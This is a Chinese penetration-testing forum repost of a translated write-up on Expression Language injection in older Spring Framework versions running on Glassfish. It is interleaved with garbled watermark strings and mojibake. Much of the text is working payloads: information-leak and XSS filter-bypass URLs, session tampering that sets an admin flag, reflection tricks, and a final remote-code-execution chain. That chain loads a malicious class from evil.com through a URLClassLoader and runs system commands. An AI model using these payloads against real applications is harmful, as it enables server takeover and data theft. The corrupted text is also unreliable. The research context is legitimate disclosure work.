中国网络渗透测试联盟
标题:
spring-远程代码注入
[打印本页]
作者:
admin
时间:
2013-2-16 21:47
标题:
spring-远程代码注入
Remote Code with
2 z3 O0 Q( f* X& F: [
Expression Language Injection
7 x8 m* T0 G3 ?% q
Spring Framework脆弱性—DanAmodio
6 B4 L+ {, ]! U9 s# g0 L
全世界超过22,000组织已经下载了131.4万过时的Spring Framework,使用在业务中
! L. `$ i. j8 p2 N" f0 P# Y# i
可能会存在风险。
3 i; S- e* ?$ x$ Q4 [% M
在2011年,来自Minded Security 的Stefano Di Paola 和来自Aspect Security的
* f4 a: s' {' t: U( j U
Arshan Dabirsiaghi 在Spring Framework中发现了一个有趣模式。Stefano创造了Expression Language (EL) 注入。他们的发现披露了某些双重的解析EL 的spring 标签可
, C7 e+ G- C8 q8 v, G
以泄露服务器上的敏感数据。这是由于spring 提供了独立于jsp/servlet容器的EL支持,
, a0 J3 `8 ]' B5 i6 U" h1 q1 p
以此来作为向下兼容的一种方式。因此在jsp2.0之前,EL 是不被支持的。这个功能在当前
' b4 ~! H, D: ^
版本中是默认打开的,应用程序使用了此模式描述是易受攻击的。
) Z% M0 Z v' e- |4 c2 D3 g
由于每个应用程序并不都会出现反射xss这种弱点,虽然很难量化它的深度和广度,但
' ~5 Z) ~, _$ d8 @
我们根据Sonatype最新的统计知道,全世界超过22,000的组织下载Spring 3.0.5以下版
$ e9 t2 `4 s# T6 m
本已经超过131.4 万。Point-in-fact, one large retail organization consumed 241 different artifacts, 4,119 total downloads。
: t0 t6 i9 s6 b" W
这些版本不支持禁用double EL resolution.
! V% P, i9 v+ n; }4 g T; M
这个问题原来的影响是信息泄露,但是我将举例说明它如何在Glassfish 和其他包含
3 \$ R/ s7 H! ]% y4 a( j, l$ h
EL2.2容器上可能进行远程代码执行。
% Y$ Z$ ?: E( z+ K
这是一个原始信息泄露的攻击例子:
. S; U5 N; J# l
请求:
/ |7 D) I7 n' I9 g( }4 K
ttp://vulnerable.com/foo?message=${applicationScope}
: K) L' a: Z3 i& S* W
到达以下内容页面:
# {0 r" a( G- p) Z9 R, b
结果将输出一些包含内部服务器信息calsspath 和本地工作目录
7 y6 d7 G1 T) A
你也可以做一些其他事情,如这样:
7 o0 J' E8 l$ e8 y: s" _
${9999+1}
: A! ~! a0 g$ \, a
还可以访问session 对象和beans
I( ?* ^4 G' F0 B0 x
${employee.lastName}
* }" P# q' h) n/ v( s" G* q- B
在执行Glassfish上客户端应用程序的渗透测试时,我遇到了同样的模式,知道大概是
- O3 n$ I) T: ~$ C! G$ Q
EL 注入,做了额外的测试后,确认了这一发现,同时延续下去,我想挖掘一些有滋味的东
4 C! n/ A) h/ a" j4 I0 U$ g
西,比如XSS.
F, P7 M4 t! O9 P
哎,应用程序的输入过滤终止了我的请求,因此去掉了””标签
$ B, r+ R6 ?5 P% t: B- E" }1 @
突发奇想,我想“我可以在JAVA中进行字符操纵,为什么我不试试利用EL来绕过过滤
+ _1 a; ?+ y7 r, U7 }6 j
呢?”
2 |2 p9 b9 D) G% w' H& B, A
因此,我尝试巳缦拢�
3 G0 e# e) F8 t/ {$ Z0 D) _) [
http://vulnerable.com/app?code=
${param.foo.replaceAll(“P”,”Q”)}foo=PPPP
9 [% I8 B9 [; |" K# Y! }" f; s
P
a+ Y! \% Y n9 l7 @1 ?, o! C
我注意到返回的错误代码时QQQQQ,由于String.replaceall 方法已经被调用,所以返
) }8 Z6 `2 a% z- b
回的文本被插入进了spring:message 标签。
5 N( z3 W) s. b8 Z+ u H' l# w
这里是一个最终绕过过滤的实例:
, B, m- m- S% d# z4 y) K
http://vulnerable.com/app?code=
${param.foo.replaceAll(“P”,””)}&foo=PscriptQalert(1)
/scriptQ
8 b- F( A: x7 T, q; v
它运行的很好,接下来一个小时我什么都没想。然后我认识到他是真的真的糟糕的。为
_1 ^: \& d- b w! \; k
什么可以在EL中像这样插入方法。接下来,我还可以做些其他好玩的事情呢?
+ ^3 o6 S9 m8 Q4 m3 x) K% H4 G
经过一番研究,我学习到EL2.2 增加了方法调用。
1 q) U& x8 n0 O
我写了一个快速测试应用程序代码并且检测一些功能
' l/ Y. q' N L, D1 q4 ?
${pageContext.request.getSession().setAttribute(“account”,”123456″)}
* i- F' F% S" j5 N
${pageContext.request.getSession().setAttribute(“admin”,true)}
8 M) A2 W- l" J$ y4 a0 z |/ ?
好了,会话对象修改是一个明显的风险。我真的想接触到对象,但是我没有一个直接的
; I c' y. |# l' g @7 I6 B0 G ^
指向pageContext对象,也许我可以使用反射,像String.getClass().forName(string)?
$ ^& p* w6 E* [
${“”.getClass().forName(“java.net.Socket”).newInstance().connect(“127.0.0.1
v& t: L0 C$ `- w
“, 1234)}
& I5 p, e' [2 z+ z8 P
${“”.getClass().forName(“java.lang.Runtime”)}
/ h1 x7 R" @* _- p* t4 n
哇,没有方法让它工作,由于可以接触到任何东西这可是灾难性的。不幸的是,它是不
& X1 R2 [4 Z6 H. Z8 {
可能调用newinstance()初始化许多危险类(如Runtime),由于它们没有提供默认的构造函
* S" }! h% f7 z% F" n
数,我们无法创建对象。当它请求null或者一个空数组,getMethods()[0].invoke()会有
% K* ^4 t3 q2 C& s2 }( ~
一些问题。在传递数据到方法之前,EL 似乎是理解它为一个字符串字面值。我猜测是由于
% E4 V1 A1 {& o* m5 O' ^
方法签名invoke(Object obj, Object„ args)
. d. E8 T, O4 Z5 h$ ]% d( x
Jeff Williams (Aspect Security 和OWASP核心创始人) ,Arshan,和我都思考这个问
9 Y7 @: c3 E! a( `* |
题,以让它可以工作起来。
% \# x1 I+ l; x. l( r
漏洞利用:
8 E) c* ~: p3 o- R
我在墙上撞的我的脑袋bangbang响,我已经用尽了所有想法,现在我们公开这个,我
, F* i7 S- ^5 m& j# @- u
希望你们中的一些JAVA奇才告诉我我是如此的可笑。
6 D) {) q5 N1 u
这里有一些我试过的失败的用例,为了试图让它工作的用例:
: o/ D" {# \5 o% G. A
写文件到文件系统
1 X1 u: c9 u+ `* h1 U+ Q
试图载入org.springframework.expression.spel.standard.SpelExpressionParser.
0 X0 }; |5 ]3 m4 @' H0 B
我认为这些可以很好的工作,但是我不能找到合适的类来载入。
, e4 K3 t4 Y6 m5 b' y- }7 m
${pageContext.getClass().getClassLoader().loadClass(“org.springframework.expression.spel.standard.SpelExpressionParser”)}
( J3 S8 ?0 |% E4 f2 P
javax.servlet.jsp.el.ELException: java.lang.ClassNotFoundException:
! P) B6 j9 I3 s% N2 D
org.springframework.expression.spel.standard.SpelExpressionParser not found
6 L$ K" n1 ]- ~. Q( z# |" T
by
8 b3 ^7 Q9 J. e% j
org.glassfish.web.javax.servlet.jsp [194].
% X0 Z9 f5 P+ @+ |9 k8 j f
利用反射来修改java.lang.Runtime.currentRuntime的属性为Public
6 m- V+ I3 u3 ~
利用反射来创建一个新的Runtime(and watch the world burn)
7 {. z+ B- u, P$ [
${pageContext.request.getSession().setAttribute(“rtc”,”".getClass().forName
8 c! {2 q! n2 f5 T: \: a
(“java.lang.Runtime”)).getDeclaredConstructors()[0])}
/ ]! [0 A7 o, {" ]& i
${pageContext.request.getSession().getAttribute(“rtc”).setAccessible(true)}
3 }. t; y* e" `* y# y* N
使用java.lang.ProcessBuilder
4 y1 \& f& b0 O" D8 C( Y. I* w* \
用表达式语言来评估表达式语言
1 |. t0 {3 ^0 _ b8 |. o% N
Expression-ception ! 在这点我想我快疯了,载体并没有任何实际意义.
( i/ m, Z0 C, z& M# d$ E8 B
${pageContext.getExpressionEvaluator().parseExpression(“pageContext.request
! b% |3 K1 f; u+ H `- G# ^
“,”".getClass(),null)}
, _0 y/ t* p6 P3 R
创建一个ObjectInputStream,序列化一个类并将其作为一个参数发送(也有点疯狂)
6 l7 s0 k. ]. z/ V4 U
我在使用一个空数组通过Method.invoke()时失败了很多次
: Z/ G5 P& t, e5 H% o$ h2 {
“”.getClass().forName(“java.lang.Runtime”).getMethods()[5].invoke(param.foo
* `. M7 P. G C/ o/ `) z
.getClass().forName(“java.lang.Runtime”),”".getClass().forName(“java.util.A
( Z1 k$ y: Y5 I' G7 g' p% U
rrayList”).newInstance().toArray())
% v _# t) X2 v: V2 V4 i( V
java.lang.IllegalArgumentException: wrong number of arguments
4 v9 N, `5 T* Z! r' r
最后,有一天晚上我被绊倒在一个问题前:我能得到一个URLClassLoader,因此我可
+ q' ?1 L) b4 u4 r' ^$ |8 \: C
以创建一个恶意class文件并且指向类装载器.
% u( @6 u% a3 q' c: c
我写了一个JAVA 类,它试图打开服务器上的计算器,来证明远程代码执行:
" _, K2 }) \5 Y6 W% z/ j, f$ \
public class Malicious {
+ P* e8 l8 T$ `$ J/ B, ?- |
public Malicious() {
e" b! y; q4 I/ h$ w- Y( }2 G
try {
' _- B" v* t4 v4 y
java.lang.Runtime.getRuntime().exec(“open -a Calculator”); //Mac
' s: Z+ p( j- c' h
java.lang.Runtime.getRuntime().exec(“calc.exe”); //Win
. _1 j) h, [1 {: F2 A. Q6 ]
} catch (Exception e) {
( n0 ~( C& d7 s$ x c6 `
}
/ B2 a* ~4 u' t8 S7 G
}
) ]% R, n% P2 R. V. X
我们创建了一个数组列表将被用于构造一个新的URLClassLoader,它需要被存储在回
/ ^2 T7 {3 A# Y& O; ~
话中,因此它可以被使用.
0 W1 |2 C. Z; v# B
${pageContext.request.getSession().setAttribute(“arr”,”".getClass().forName
- I$ z5 N4 g" q2 \( d3 B
(“java.util.ArrayList”).newInstance())}
: @; x% t" y* H: o
URLClassLoader 提供了一个newInstance 方法,它接受URL对象数组。我们需要创建
" E8 y& G3 q. v' K5 J* X/ k d
一个新的包含我们恶意代码路径的URL。ServletContext可以提供给我们一个URL对象和
2 U8 [# ]6 v) N0 F, q2 t% L
getResource(string) 方法,但是我们不可能直接创建一个新的实例。然而URI提供了一个
' [& l1 T/ G' ~" M$ ^0 q/ `$ H
我们可以调用的create(string)方法,然后转换对一个URL对象。
' S0 x4 x& F- g- S
${pageContext.request.getSession().getAttribute(“arr”).add(pageContext.getServletContext().getResource(“/”).toURI().create(“
http://evil.com/path/to/wh
; ^" n8 r" @' k
ere/malicious/classfile/is/located/”).toURL())}
2 ?* T* U: E( m; ]+ C& U& f* b
然后我们发现了一个到URLClassLoader指示器,因此newInstance 方法可以被调用,
5 B6 e; S1 {5 G, r2 c' B$ m
恶意类文件被装载并创建,触发远程代码.
8 J/ y' B9 p/ V6 W- X2 r' X
${pageContext.getClass().getClassLoader().getParent().newInstance(pageConte
; r# s; b2 P5 m4 u4 v# Y
xt.request.getSession().getAttribute(“arr”).toArray(pageContext.getClass().
7 O. }8 e6 }# }, x: E
getClassLoader().getParent().getURLs())).loadClass(“Malicious”).newInstance
- u: n1 u; g0 C$ A2 Z
()}
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2